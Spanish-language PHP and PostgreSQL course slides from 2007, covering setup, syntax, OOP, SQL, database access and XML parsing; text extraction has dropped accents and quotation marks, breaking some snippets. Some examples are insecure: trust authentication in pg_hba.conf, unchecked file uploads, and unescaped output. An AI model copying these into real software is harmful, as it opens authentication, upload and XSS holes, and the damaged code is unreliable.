Está en la página 1de 101

PHP con PostgreSQL

03/12/2007 al 07/12/2007

Presentacin del Curso


Descripcin:
Tema: PHP con conexin a BD Postgres

Horario: Lunes a Viernes de 15:00 a 18:30 y 19:30 a 22:00

Instructor: Jorge Arvalo Brquez jaareval@uc.cl

PHP con Postgres Linux Center Jorge Arvalo Clase 1 Presentacin del Curso

Presentacin del Curso


Evaluacin:
2 pruebas tericas Duracin: 20 a 30 minutos. Das: Mircoles y Jueves. Hora: 15:00 Su promedio valdr el 50% de la nota final del curso. 1 prueba prctica Duracin: 3 horas. Da: Viernes Hora: 18:00 Valdr un 50% de la nota final del curso.

PHP con Postgres Linux Center Jorge Arvalo Clase 1 Presentacin del Curso

Introduccin
Qu es PHP?
PHP es un lenguaje de programacin usado normalmente para la creacin de pginas web dinmicas. PHP es un acrnimo recursivo que significa "PHP Hypertext Pre-processor" (inicialmente PHP Tools, o, Personal Home Page Tools), y se trata de un lenguaje interpretado. ltimamente tambin puede ser utilizado para la creacin de otro tipo de programas incluyendo aplicaciones con interfaz grfica usando las libreras Qt o GTK+.

PHP con Postgres Linux Center Jorge Arvalo Clase 1 Introduccin

Introduccin
Qu es PostgreSQL?
PostgreSQL es un servidor de base de datos objeto relacional libre, liberado bajo la licencia BSD. Como muchos otros proyectos open source, el desarrollo de PostgreSQL no es manejado por una sola compaa sino que es dirigido por una comunidad de desarrolladores y organizaciones comerciales las cuales trabajan en su desarrollo, dicha comunidad es denominada el PGDG (PostgreSQL Global Development Group).

PHP con Postgres Linux Center Jorge Arvalo Clase 1 Introduccin

Introduccin
Requerimientos:
Un Servidor Web, por ejemplo Apache (http://httpd.apache.org) Un intrprete PHP (http://www.php.net) Un Servidor de BD Postgres (http://www.postgresql.org, http://www.postgresql.cl)

PHP con Postgres Linux Center Jorge Arvalo Clase 1 Introduccin

Introduccin
Instalacin de Apache y PHP:
Inicialmente usaremos la instalacin a travs de RPMs de Apache, incluyendo el mdulo PHP. Ms tarde compilaremos los fuentes de modo de optimizar la ejecucin. Si no est instalada la interfaz grfica de paquetes. ~ sudo yum install httpd httpd-devel httpd-suexec ~ sudo yum install php Probar en un navegador con la direccin http://localhost

PHP con Postgres Linux Center Jorge Arvalo Clase 1 Introduccin

Introduccin
Instalacin de PostgreSQL:
Inicialmente usaremos la instalacin a travs de RPMs de postgresql, incluyendo el mdulo para que PHP se pueda comunicar con PostgreSQL. Ms tarde compilaremos los fuentes de modo de optimizar la ejecucin. Si no est instalada la interfaz grfica de paquetes. ~ sudo yum -y install postgresql postgresql-server php-pgsql

PHP con Postgres Linux Center Jorge Arvalo Clase 1 Introduccin

Introduccin
Configuracin Bsica de Apache:
Los ficheros de configuracin estn en : /etc/httpd Los ficheros de log en : /var/log/httpd Los ficheros de mdulos en : /usr/lib/httpd/modules ~ sudo chkconfig httpd on El archivo de configuracin principal de Apache es httpd.conf ServerTokens Prod # Lo queremos a Prod, para impeder que el resto de la gente sepa que versin de apache estamos utilizando

PHP con Postgres Linux Center Jorge Arvalo Clase 1 Introduccin

Introduccin
Configuracin Bsica de Apache:
Despus de los <IfModule *> Listen 192.168.1.100:80 Listen 192.168.1.101:81 # Ponemos Apache a escuchar por la IP en la que vamos a servir el contenido Despus de la lista de mdulos ServerAdmin miemail@miservidordecorreo.com

PHP con Postgres Linux Center Jorge Arvalo Clase 1 Introduccin

Introduccin
Configuracin Bsica de Apache:
DirectoryIndex index.html index.php index.htm # El rden de bsqueda de documentos de apache Primero buscar el index.html, luego el index.php y luego el index.htm ServerSignature OFF # Para evitar mostrar la versin de apache en los ficheros de Error

PHP con Postgres Linux Center Jorge Arvalo Clase 1 Introduccin

Introduccin
Configuracin Bsica de Apache:
NameVirtualHost 192.168.1.101:80 <VirtualHost 192.168.1.101:80> ServerName cursophp.org ServerAlias *.cursophp.org DocumentRoot /usr/local/cursophp ErrorLog logs/cursophp.error.log CustomLog logs/cursophp.access.log combined ServerAdmin webmaster@cursophp.org </VirtualHost>

PHP con Postgres Linux Center Jorge Arvalo Clase 1 Introduccin

Introduccin
Configuracin Bsica de PostgresSQL:
Crear el primer usuario y base de datos: su postgres psql template1 psql# create user web_user; psql# create database web_database owner web_user; psql# \q

PHP con Postgres Linux Center Jorge Arvalo Clase 1 Introduccin

Introduccin
Configuracin Bsica de PostgresSQL:
Editar el archivo /var/lib/pgsql/data/pg_hba.conf local all all trust Reiniciar el servidor /sbin/service postgresql restart Las base de datos se encuentran en: psql -U web_user web_database

PHP con Postgres Linux Center Jorge Arvalo Clase 1 Introduccin

Introduccin a PHP
Hola Mundo!
Crear el archivo /usr/local/cursophp/holamundo.php con el siguiente contenido: <html> <head> <title>Ejemplo</title> </head> <body> <h3>Mi primer ejemplo php</h3> <?php echo "hola mundo"; ?> <hr> </body> </html>
PHP con Postgres Linux Center Clase 1 Introduccin a PHP

Introduccin a PHP
Tags Delimitadores de Cdigo :
El cdigo PHP debe ir dentro de tags php, los cuales pueden ser cualquiera de los siguientes: <? <?php ?> ?>

<script language=php></script> <% %>

PHP con Postgres Linux Center Jorge Arvalo Clase 1 Introduccin a PHP

Introduccin a PHP
Variables:
PHP es un lenguaje dbilmente tipado: el intrtprete decidir el tipo de la variable segn su contenido. Los principales tipos de datos que soporta son: Enteros Punto Flotante Cadenas Lgicos Vectores Objetos

PHP con Postgres Linux Center Jorge Arvalo Clase 1 Introduccin a PHP

Introduccin a PHP
Variables:
Los nombres de las variables son Case Sensitive, un signo $ delante del nombre advierte que es una variable (su uso es obligatorio). Pueden asignarse por valor y por refencia. Por valor: $a=$b; Por referencia: $a=&$b; Ya que el signo peso indica el uso de la variable que tiene como nombre el texto que le sigue, podemos tener nombres de variables variables. Ejemplo : $var=mivariable; $$var es equivalente a $mivariable
PHP con Postgres Linux Center Jorge Arvalo Clase 1 Introduccin a PHP

Introduccin a PHP
Strings:
Los Strings en php se concatenan usando el operador . y pueden especificarse usando comillas simples o dobles como delimitadores. Las comillas simples () hacen un uso literal de los caracteres que incluya. Las comillas dobles: reemplazarn las variables que aparezcan por sus valores, y los caracteres de escape estilo C (\n, \t, etc.) Para representar comillas dobles uso el carcter de escape \

PHP con Postgres Linux Center Jorge Arvalo Clase 1 Introduccin a PHP

Introduccin a PHP
Vectores:
En php existen 2 clases de vectores: Escalares: cada posicin es identificada por un nmero. $a[0]=Hola; $a[1]=Mundo; $a[]=!; $b=array(Hola, Mundo, !); Asociativos (Hash): cada elemento es identificado por una cadena $c[nombre]=Silvia; $c[edad]=21; $d=array(nombre=>Silvia, edad=>21);
PHP con Postgres Linux Center Jorge Arvalo Clase 1 Introduccin a PHP

Introduccin a PHP
Sentencias de control:
Falta completar

PHP con Postgres Linux Center Jorge Arvalo Clase 1 Introduccin a PHP

Introduccin a PHP
Funciones:
Para definir una funcin, basta con escribir la palabra reservada function seguida del nombre de la funcin y a continuacin la lista de parmetros entre parntesis. El cuerpo de la funcin se escribe, a continuacin, entre llaves. Function miFunction($arg1, $arg2, , $argN){ //Cuerpo de la funcin return $valorDeRetorno; }

PHP con Postgres Linux Center Jorge Arvalo Clase 1 Introduccin a PHP

Introduccin a PHP
Variables AutoGlobales:
Desde la versin 4.1.0 de PHP existen un conjunto de vectores que contienen variables de las transacciones HTTP, el servidor y el usuario. Estas son automticamente accesibles desde cualquier script y desde cualquier parte de l.

PHP con Postgres Linux Center Jorge Arvalo Clase 2 - AutoGlobales

Introduccin a PHP
Variables AutoGlobales:
Estos vectores asociativos son: $GLOBALS Contiene una referencia a cada variable accesible desde el script. $_SERVER Contiene informacin del servidor. $_GET Variables pasadas via HTTP GET. $_POST Variables pasadas al script va HTTP POST. $_COOKIE Variables pasadas al script va cookies HTTP. $_FILES Variables que controlan la subida de ficheros mediante HTTP. $_ENV Variables de entorno. $_REQUEST Une el contenido de $_GET, $_POST y $_COOKIE. $_SESSION Variables registradas en la sesin actual.

PHP con Postgres Linux Center Jorge Arvalo Clase 2 - AutoGlobales

Introduccin a PHP
$_SERVER:
'PHP_SELF El nombre de archivo del script ejecutndose actualmente, relativo a la raz de documentos. Por ejemplo, $_SERVER['PHP_SELF'] en un script en la direccin http://cursophp.org/test_php/prueba.php sera /test_php/prueba.php 'SERVER_NAME' El nombre del servidor anfitrin bajo el que est siendo ejecutado el script actual. Si el script est corriendo en un host virtual, ste ser el valor definido para tal host virtual.

PHP con Postgres Linux Center Jorge Arvalo Clase 2 - AutoGlobales

Introduccin a PHP
$_SERVER:
'REQUEST_METHOD' Cul mtodo de peticin fue usado para acceder a la pgina; i.e. 'GET', 'HEAD', 'POST. 'QUERY_STRING' La cadena de consulta, si existe, mediante la cual se accedi a la pgina 'DOCUMENT_ROOT' El directorio raz de documentos bajo el que est siendo ejecutado el script actual, tal y como se define en el archivo de configuracin del servidor.

PHP con Postgres Linux Center Jorge Arvalo Clase 2 - AutoGlobales

Introduccin a PHP
$_SERVER:
'HTTP_USER_AGENT' Contenidos de la cabecera User_Agent: de la peticin actual, si existe. Esta es una cadena que denota el agente de usuario que est accediendo a la pgina. Un ejemplo tpico es: Mozilla/4.5 [en] (X11; U; Linux 2.2.9 i586) 'REMOTE_ADDR' La direccin IP desde donde el usuario est observado la pgina actual. 'SCRIPT_FILENAME' La ruta absoluta del nombre del script siendo ejecutado actualmente
PHP con Postgres Linux Center Jorge Arvalo Clase 2 - AutoGlobales

Introduccin a PHP
$_COOKIE:
Es un vector asociativo que contiene cada una de las cookies que el usuario tenga registradas y hayan sido enviadas por el servidor en la cabecera http. Se crean con la funcin: setcookie(Nombre, Valor, Tiempo_Vida, Path, Dominio, Seguro); Si se crea una cookie con el nombre, path y dominio de otra, esta se reemplaza por la nueva. (En algunos casos, basta con que coincida el nombre.

PHP con Postgres Linux Center Jorge Arvalo Clase 2 - AutoGlobales

Introduccin a PHP
$_SESSION:
Se comienza una sesin (en caso de que an no haya comenzado) con la funcin session_start() ; Para borrar una variable ya asignada a sesin usamos: unset($_SESSION[nombre_dato]); Para terminar una sesin usamos: session_destroy();

PHP con Postgres Linux Center Jorge Arvalo Clase 2 AutoGlobales

Introduccin a PHP
$_FILES:
Cuando en un formulario HTML se envia un archivo, este copiado a una carpeta temporal en el servidor y envia la informacin en las cabeceras. PHP puede recuperar esta informacin mediante el arreglo asociativo $_FILES. Para guardarlo hacemos lo siguiente: <? $destino = 'uploaded' ; move_uploaded_file ( $_FILES [ 'file' ][ 'tmp_name' ], $destino . '/' . $_FILES [ 'file' ][ 'name' ]); ?> Donde $_FILES['file']['tmp_name'] identificara el archivo temporal subido al servidor, $destino, la carpeta en la que lo queremos mover y $_FILES['file']['name'] el nombre original del archivo.

PHP con Postgres Linux Center Jorge Arvalo Clase 2 AutoGlobales

Introduccin a PHP
$_FILES:
Adems tambin podemos conocer otros parmetros del fichero subido como por ejemplo el tamao, vamos a ver un ejemplo: <? $destino = 'uploaded' ; $tamano = $_FILES [ 'file' ][ 'size' ]; if( $tamano < 500 ){ move_uploaded_file ( $_FILES [ 'file' ][ 'tmp_name' ], $destino . '/' . $_FILES [ 'file' ][ 'name' ]); } else echo "El tamao es superior al permitido" ; ?> Tambien podemos saber el tipo de archivo subido con la siguiente variable: $_FILES['file']['type'];
PHP con Postgres Linux Center Jorge Arvalo Clase 2 AutoGlobales

Introduccin a PHP
$_FILES:
Adems tambin podemos conocer otros parmetros del fichero subido como por ejemplo el tamao, vamos a ver un ejemplo: <? $destino = 'uploaded' ; $tamano = $_FILES [ 'file' ][ 'size' ]; if( $tamano < 500 ){ move_uploaded_file ( $_FILES [ 'file' ][ 'tmp_name' ], $destino . '/' . $_FILES [ 'file' ][ 'name' ]); } else echo "El tamao es superior al permitido" ; ?> Tambien podemos saber el tipo de archivo subido con la siguiente variable: $_FILES['file']['type'];
PHP con Postgres Linux Center Jorge Arvalo Clase 2 AutoGlobales

Orientacin a Objetos
Introduccin:
La Programacin Orientada a Objetos (POO u OOP segn sus siglas en ingls) es un paradigma de programacin que usa objetos y sus interacciones para disear aplicaciones y programas de computadora. Est basado en varias tcnicas, incluyendo herencia, modularidad, polimorfismo, y encapsulamiento. Su uso se populariz a principios de la dcada de 1990. Actualmente varios lenguajes de programacin soportan la orientacin a objetos.

PHP con Postgres Linux Center Jorge Arvalo Clase 2 - OOP

Orientacin a Objetos
Objetos:
Los objetos son entidades que combinan estado, comportamiento e identidad. El estado est compuesto de datos, y el comportamiento por procedimientos o mtodos. La identidad es una propiedad de un objeto que lo diferencia del resto. La programacin orientada a objetos expresa un programa como un conjunto de estos objetos, que colaboran entre ellos para realizar tareas. Esto permite hacer los programas y mdulos ms fciles de escribir, mantener y reutilizar.

PHP con Postgres Linux Center Jorge Arvalo Clase 2 - OOP

Orientacin a Objetos
Clases:
Corresponde a la definicin de las propiedades (atributos) y comportamiento (mtodos) de un tipo genrico de objetos. Al proceso de crear un objeto desde una clase se le conoce como instanciacin. Debemos diferenciar, varios tipos de clases. En una primera instancia, veremos las clases concretas y las clases abstractas. Las primeras son clases que tienen como objetivo, ser instanciadas y por tanto, se convierten en un tipo de datos especial Las clases abstractas por el contrario, no se espera (y en muchos casos no se puede) que se instancien. Su objetivo es servir como base a nuevas clases ms especficas.

PHP con Postgres Linux Center Jorge Arvalo Clase 2 - OOP

Orientacin a Objetos
Caractersticas: Abstraccin
Cada objeto en el sistema sirve como modelo de un "agente" abstracto que puede realizar trabajo, informar y cambiar su estado, y "comunicarse" con otros objetos en el sistema sin revelar cmo se implementan estas caractersticas. Los procesos, las funciones o los mtodos pueden tambin ser abstrados y cuando lo estn, una variedad de tcnicas son requeridas para ampliar una abstraccin.

PHP con Postgres Linux Center Jorge Arvalo Clase 2 - OOP

Orientacin a Objetos
Caractersticas: Encapsulamiento
Significa reunir a todos los elementos que pueden considerarse pertenecientes a una misma entidad, al mismo nivel de abstraccin. Esto permite aumentar la cohesin de los componentes del sistema. Algunos autores confunden este concepto con el principio de ocultacin, principalmente porque se suelen emplear conjuntamente.

PHP con Postgres Linux Center Jorge Arvalo Clase 2 - OOP

Orientacin a Objetos
Caractersticas: Ocultamiento
Cada objeto est aislado del exterior, es un mdulo natural, y cada tipo de objeto expone una interfaz a otros objetos que especifica cmo pueden interactuar con los objetos de la clase. El aislamiento protege a las propiedades de un objeto contra su modificacin por quien no tenga derecho a acceder a ellas, solamente los propios mtodos internos del objeto pueden acceder a su estado. Esto asegura que otros objetos no pueden cambiar el estado interno de un objeto de maneras inesperadas, eliminando efectos secundarios e interacciones inesperadas. Algunos lenguajes relajan esto, permitiendo un acceso directo a los datos internos del objeto de una manera controlada y limitando el grado de abstraccin. La aplicacin entera se reduce a un agregado o rompecabezas de objetos.
PHP con Postgres Linux Center Jorge Arvalo Clase 2 - OOP

Orientacin a Objetos
Caractersticas: Polimorfismo
Comportamientos diferentes, asociados a objetos distintos, pueden compartir el mismo nombre, al llamarlos por ese nombre se utilizar el comportamiento correspondiente al objeto que se est usando. O dicho de otro modo, las referencias y las colecciones de objetos pueden contener objetos de diferentes tipos, y la invocacin de un comportamiento en una referencia producir el comportamiento correcto para el tipo real del objeto referenciado. Cuando esto ocurre en "tiempo de ejecucin", esta ltima caracterstica se llama asignacin tarda o asignacin dinmica. Algunos lenguajes proporcionan medios ms estticos (en "tiempo de compilacin") de polimorfismo, tales como las plantillas y la sobrecarga de operadores de C++.
PHP con Postgres Linux Center Jorge Arvalo Clase 2 - OOP

Orientacin a Objetos
Caractersticas: Herencia
Las clases no estn aisladas, sino que se relacionan entre s, formando una jerarqua de clasificacin. Los objetos heredan las propiedades y el comportamiento de todas las clases a las que pertenecen. La herencia organiza y facilita el polimorfismo y el encapsulamiento permitiendo a los objetos ser definidos y creados como tipos especializados de objetos preexistentes.

PHP con Postgres Linux Center Jorge Arvalo Clase 2 - OOP

OOP en PHP
Creacin de Clases:
Se debe seguir la siguiente estructura para crear una clase: <? class NombreDeClase{ var $atributo1, $atributo2, , $atributoN; function nombreDeClase($arg1, , $argN){ //Constructor de la clase } function metodoNumero1($arg1, , $argN){ } function metodoNumero2($arg1, , $argN){ } } ?>
PHP con Postgres Linux Center Jorge Arvalo Clase 2 OOP en PHP4

OOP en PHP
Instanciacin:
Para crear un objeto desde una clase, lo hacemos mediante el operador new: $miObjeto=new NombreDeClase(arg1, , argN); Para acceder a sus mtodos, usamos el operador -> : $retorno=$miObjeto->metodoNumero1(arg1, , argN);

PHP con Postgres Linux Center Jorge Arvalo Clase 2 OOP en PHP4

OOP en PHP
Herencia:
Para disear una clase que herede de (o extienda a) otra clase debemos usar la palabra clave extends de la siguiente manera: class ClaseEspecifica extends ClasePadre{ var $nuevosAtributos; function ClaseEspecifica($arg1, , $argN){ //constructor } function nuevoMetodo($arg1, , $argN){ } }

PHP con Postgres Linux Center Jorge Arvalo Clase 2 OOP en PHP4

OOP en PHP
Ejercicio:
1. Disear una clase que represente a un contacto dentro de nuestra agenda. 2. Disear una clase que represente a la agenda. Lo anterior permitiendo que se guarden los datos en cookies como la ltima vez, pero delegando estas responsabilidades a quien corresponda.

PHP con Postgres Linux Center Jorge Arvalo Clase 2 OOP en PHP4

Operadores de PHP
Aritmticos:
$a + $b $a - $b $a * $b $a / $b $a % $b $a++ ++$a $a---$a $a+=$b $a-=$b Suma Resta Multiplicacin Divisin Mdulo (Resto de divisin entera) Incremento (Retorna despus incrementa) Incremento (Incrementa despus retorna) Decremento (Retorna despus decrementa) Decremento (Decrementa despus retorna) Incrementa $a en $b unidades Decrementa $a en $b unidades

PHP con Postgres Linux Center Jorge Arvalo Clase 3 - Operadores

Operadores de PHP
Comparacin:
$a == $b $a === $b $a != $b $a <> $b $a !== $b $a < $b $a > $b $a <= $b $a >= $b Igual Idntico Distinto Distinto No idntico Menor que Mayor que Menor o igual que Mayor o igual que

PHP con Postgres Linux Center Jorge Arvalo Clase 3 - Operadores

Operadores de PHP
Lgicos:
$a and $b $a or $b $a xor $b ! $a $a && $b $a || $b $a?$b:$c AND OR XOR NOT AND OR Tiene como valor $b siempre que $a sea verdadero y $c en caso contrario.

PHP con Postgres Linux Center Jorge Arvalo Clase 3 - Operadores

PostgreSQL
Introduccin:
Es un gestor de base de datos relacional Es de codigo abierto bajo licencia BSD Es multiplataforma Tiene un alto nivel de seguridad Existe una amplia comunidad que nos ayuda con el soporte Ofrece Integridad referencial Maneja las concurrencias
PHP con Postgres Linux Center Jorge Arvalo Clase 3 PostgreSQL

PostgreSQL - Sentencias SQL


Creacin de tablas:
create table contactos ( id INT, nombre VARCHAR(20), edad INT, correo VARCHAR(20), primary key (id_persona) );

PHP con Postgres Linux Center Jorge Arvalo Clase 3 Sentencias SQL

PostgreSQL - Sentencias SQL


Modificacin de tablas:
alter table contactos add column telefono VARCHAR(10); alter table contactos drop column telefono;

PHP con Postgres Linux Center Jorge Arvalo Clase 3 Sentencias SQL

PostgreSQL - Sentencias SQL


Manejo registros:
insert into contactos (id,nombre,edad,correo) values (1,Jorge,25,jaareval@uc.cl); update contactos set nombre=Jorge Arevalo where id=1; delete from contactos where id=1;

PHP con Postgres Linux Center Jorge Arvalo Clase 3 Sentencias SQL

PostgreSQL - Sentencias SQL


Crear Consultas:
select * from contactos where nombre like J%; Create view vista_jotas as select * from contactos where nombre like J%;

PHP con Postgres Linux Center Jorge Arvalo Clase 3 Sentencias SQL

PostgreSQL desde PHP


Configuracin:
Debemos asegurarnos que el archivo php.ini (habitualmente en /usr/local/lib ) contenga la linea: extension=pgsql.so en linux y extension=pgsql.dll en windows

PHP con Postgres Linux Center Jorge Arvalo Clase 3 - PostgreSQL

PostgreSQL desde PHP


Ejemplo:
<?php $conexion_bd = pg_connect("host=localhost dbname=web_database user=web_user") or die('No pudo conectarse: ' . pg_last_error()); $consulta = 'SELECT * FROM autores'; $resultado = pg_query($consulta) or die('Consulta fallida: ' . pg_last_error()); echo "<table>\n"; while ($linea = pg_fetch_array($resultado, null, PGSQL_ASSOC)) { echo "\t<tr>\n"; foreach ($linea as $valor_col) { echo "\t\t<td>$valor_col</td>\n"; } echo "\t</tr>\n"; } echo "</table>\n"; pg_free_result($resultado); pg_close($conexion_bd); ?>
PHP con Postgres Linux Center Jorge Arvalo Clase 3 - PGSQL

PostgreSQL desde PHP


Ejemplo (Anlisis):
$conexion_bd = pg_connect("host=localhost dbname=web_database user=web_user") or die('No pudo conectarse: ' . pg_last_error()); pg_connect retorna un apuntador a la conexin, que ser guardado en $conexion_bd recibe un nico parmetro que corresponde a la cadena de conexin.

PHP con Postgres Linux Center Jorge Arvalo Clase 3 - PGSQL

PostgreSQL desde PHP


Ejemplo (Anlisis pg_connect):
En esta cadena pueden definirse los siguientes parmetros: host La mquina donde escucha el servidor PostgreSQL port Puerto de conexin. tty TTY a utilizar. Interesante a la hora de depurar. options Opciones adicionales. dbname Nombre de la base de datos a la que se quiere conectar. Nombre del usuario PostgreSQL con el que se user realizar la conexin. pass Contrasea para la conexin.

PHP con Postgres Linux Center Jorge Arvalo Clase 3 - PGSQL

PostgreSQL desde PHP


Ejemplo (Anlisis):
$conexion_bd = pg_connect("host=localhost dbname=web_database user=web_user") or die('No pudo conectarse: ' . pg_last_error()); or die() realiza un echo del string que recibe como parametro en caso de que la llamada a alguna funcin resulte en un error.

PHP con Postgres Linux Center Jorge Arvalo Clase 3 - PGSQL

PostgreSQL desde PHP


Ejemplo (Anlisis):
$consulta = 'SELECT * FROM autores'; $resultado = pg_query($consulta) or die('Consulta fallida: ' . pg_last_error()); $consulta corresponde al string que representa la consulta. pg_query($consulta) retorna un apuntador a un resultado de consulta (no me ofrece forma de manejarlo). La funcin pg_query() debe tener alguna de las 2 formas siguientes: $result=pg_query($conexion,$consulta); $result=pg_query($consulta);
PHP con Postgres Linux Center Jorge Arvalo Clase 3 - PGSQL

PostgreSQL desde PHP


Ejemplo (Anlisis):
$linea = pg_fetch_array($resultado, null, PGSQL_ASSOC) En $linea almacenar la siguiente fila del resultado en forma de array asociativo usando el nombre del campo como clave. Los parmetros que recibe pg_fetch_array() son, en orden de izquierda a derecha: $resultado apuntador al conjunto de resultados $row entero que indica la fila dentro del conjunto de resultados que se desea recuperar, null en caso que queramos recuperar la siguiente a la ltima que se recuper. $result_type entero que indica de que manera debe retornar la fila: PGSQL_ASSOC (Arreglo asociativo) PGSL_NUM (Arreglo escalar) PGSQL_BOTH (Ambos) Si la fila que se pretende recuperar no existe retorna false
PHP con Postgres Linux Center Jorge Arvalo Clase 3 - PGSQL

PostgreSQL desde PHP


Ejemplo (Anlisis manejar resultados):
Existen otras funciones que nos permiten recuperar los resultados: pg_fetch_all Devuelve un vector que contiene todos los registros devueltos por la consulta. pg_fetch_array Devuelve la siguiente fila del resultado en forma de vector. El primer elemento ser la primera columna, el segundo la segunda, etc. Devuelve falso si no encuentra ms registros. pg_fetch_assoc Devuelve la siguiente fila del resultado en forma de vector asociativo. Como claves del vector usa los nombres de los campos. Devuelve falso si no encuentra ms registros.

PHP con Postgres Linux Center Jorge Arvalo Clase 3 - PGSQL

PostgreSQL desde PHP


Ejemplo (Anlisis manejar resultados):
pg_fetch_object Devuelve una fila del resultado en forma de objeto. Por cada columna de la fila existir un atributo del mismo nombre. pg_fetch_result Devuelve un valor de un resultado. Se le especifica fila y columna. pg_fetch_row Devuelve una fila del resultado en forma de vector. El primer elemento ser la primera columna, el segundo la segunda, etc. Devuelve falso si no encuentra ms registros.

PHP con Postgres Linux Center Jorge Arvalo Clase 3 - PGSQL

PostgreSQL desde PHP


Ejemplo (Anlisis manejar resultados):
Tenemos tambin la funcin pg_num_rows($result) que devuelve la cantidad de filas en el resultado apuntado por $result Y tambin la funcin pg_affected_rows($result) que devuelve la cantidad de filas afectadas por una sentencia sql de update.

PHP con Postgres Linux Center Jorge Arvalo Clase 3 - PGSQL

PostgreSQL desde PHP


Ejemplo (Anlisis):
Ser necesario liberar la memoria que estaba usando el conjunto de resultados, para ello usamos la funcin: pg_free_result($resultado); Lo mismo habr que hacer con la base de datos. pg_close($conexion_bd);

PHP con Postgres Linux Center Jorge Arvalo Clase 3 - PGSQL

PostgreSQL desde PHP


Ejercicio:
Modificar nuestra agenda, de modo que se guarden los datos en la BD.

PHP con Postgres Linux Center Jorge Arvalo Clase 3 - PGSQL

XML
Introduccin:
XML, sigla en ingls de eXtensible Markup Language, es un metalenguaje extensible de etiquetas desarrollado por el World Wide Web Consortium (W3C). Es una simplificacin y adaptacin del SGML y permite definir la gramtica de lenguajes especficos (de la misma manera que HTML es a su vez un lenguaje definido por SGML). Por lo tanto XML no es realmente un lenguaje en particular, sino una manera de definir lenguajes para diferentes necesidades. Algunos de estos lenguajes que usan XML para su definicin son XHTML, SVG, MathML.

PHP con Postgres Linux Center Jorge Arvalo Clase 4 - XML

XML
Para qu sirve?:
XML no ha nacido slo para su aplicacin en Internet, sino que se propone como un estndar para el intercambio de informacin estructurada entre diferentes plataformas. Se puede usar en bases de datos, editores de texto, hojas de clculo y casi cualquier cosa imaginable.

PHP con Postgres Linux Center Jorge Arvalo Clase 4 - XML

XML
Ventajas:
Es extensible, lo que quiere decir que una vez diseado un lenguaje y puesto en produccin, igual es posible extenderlo con la adicin de nuevas etiquetas de manera de que los antiguos consumidores de la vieja versin todava puedan entender el nuevo formato. El analizador es un componente estndar, no es necesario crear un analizador especfico para cada lenguaje. Esto posibilita el empleo de uno de los tantos disponibles. De esta manera se evitan bugs y se acelera el desarrollo de la aplicacin. Si un tercero decide usar un documento creado en XML, es sencillo entender su estructura y procesarlo. Mejora la compatibilidad entre aplicaciones.
PHP con Postgres Linux Center Jorge Arvalo Clase 4 - XML

XML
Ejemplo de XML:
<?xml version="1.0" encoding="ISO-8859-1" ?> <!DOCTYPE Edit_Mensaje SYSTEM "Lista_datos_mensaje.dtd" [<!ELEMENT Edit_Mensaje (Mensaje)*>]> <Edit_Mensaje> <Mensaje> <Remitente> <Nombre>Nombre del remitente</Nombre> <Mail> Correo del remitente </Mail> </Remitente> <Destinatario> <Nombre>Nombre del destinatario</Nombre> <Mail>Correo del destinatario</Mail> </Destinatario> <Texto> <Parrafo> Este es mi documento con una estructura muy sencilla no contiene atributos ni entidades.... </Parrafo> </Texto> </Mensaje> </Edit_Mensaje>

PHP con Postgres Linux Center Jorge Arvalo Clase 4 - XML

XML
Ejemplo de DTD:
<?xml version="1.0" encoding="ISO-8859-1" ?> <!-- Este es el DTD de Edit_Mensaje --> <!ELEMENT Mensaje (Remitente, Destinatario, Asunto, Texto)*> <!ELEMENT Remitente (Nombre, Mail)> <!ELEMENT Nombre (#PCDATA)> <!ELEMENT Mail (#PCDATA)> <!ELEMENT Destinatario (Nombre, Mail)> <!ELEMENT Nombre (#PCDATA)> <!ELEMENT Mail (#PCDATA)> <!ELEMENT Asunto (#PCDATA)> <!ELEMENT Texto (Parrafo)> <!ELEMENT Parrafo (#PCDATA)>

PHP con Postgres Linux Center Jorge Arvalo Clase 4 XML : DTDs

XML
DTD:
<!ELEMENT nombreElemento (sEl1*,sEl2+,sEl3?) > * Indica que el elemento puede aparecer 0 ms veces + indica que el elemento puede aparecer 1 ms veces ? Indica que el elemento puede aparecer 0 1 vez <!ELEMENT nombre (sEl1|sEl2) > | indica que debo elegir alguno de los dos elementos <!ELEMENT nombre (#PCDATA|sEl1) > Para aceptar que un elemento tenga texto o subelementos <!ELEMENT nombre (sEl1,sEL2) > <!ATTLIST nombre at1 CDATA #REQUIRED at2 CDATA #IMPLIED at3 ID #REQUIRED at4 (yes | no) #REQUIRED > Tipo ID puede haber slo 1, at4 tiene definido los valores que puede recibir, para definir el valor por defecto de un #IMPLIED se reemplaza #IMPLIED por este valor
PHP con Postgres Linux Center Jorge Arvalo Clase 4 XML : DTDs

XML desde PHP


Ejemplo de XML:
<?xml version="1.0" encoding="ISO-8859-1"?> <bloque> <noticia> <titulo>Hola Caracola </titulo> <autor>KaoS</autor> <cuerpo>Olla Kaitos a Luisete</cuerpo> </noticia> <noticia> <titulo>Nuevo articulo en desarrolloweb </titulo> <autor>Raul</autor> <cuerpo>Jeje hola, aqui estamos </cuerpo> </noticia> </bloque> Guardarlo en noticias.xml
PHP con Postgres Linux Center Jorge Arvalo Clase 4 DOM XML

XML desde PHP


Leer el archivo:
<? //$ruta_fichero="http://www.dominio.com/noticias.xml"; $ruta_fichero="noticias.xml"; $contenido = ""; if($da = fopen($ruta_fichero,"r")) { while ($aux= fgets($da,1024)) { $contenido.=$aux; } fclose($da); } else { echo "Error: no se ha podido leer el archivo <strong>$ruta_fichero</strong>"; } ?> Esto dentro de un archivo noticias.php
PHP con Postgres Linux Center Jorge Arvalo Clase 4 DOM XML

XML desde PHP


Procesar el XML:
$tagnames = array ("titulo","autor","cuerpo"); if (!$xml = domxml_open_mem($contenido)){ echo "Ha ocurrido un error al procesar el documento<strong> \"$ruta_fichero\"</strong> a XML <br>"; exit; } else { $raiz = $xml->document_element(); $tam=sizeof($tagnames); for($i=0; $i<$tam; $i++){ $nodo = $raiz->get_elements_by_tagname($tagnames[$i]); $j=0; foreach ($nodo as $etiqueta) { $matriz[$j][$tagnames[$i]]=$etiqueta->get_content(); $j++; } } }
PHP con Postgres Linux Center Jorge Arvalo Clase 4 DOM XML

XML desde PHP


Mostrar los Datos:
<? $num_noticias=sizeof($matriz); for($i=0;$i<$num_noticias;$i++) { echo '<table border=1><tr><td align=center> .$matriz[$i]["titulo"].'</td></tr><tr><td> .$matriz[$i]["cuerpo"].'</td></tr><tr><td align=right > .$matriz[$i]["autor"] .'</td></tr></table><br>'; } ?>

PHP con Postgres Linux Center Jorge Arvalo Clase 4 DOM XML

Patrones de Diseo
Introduccin:
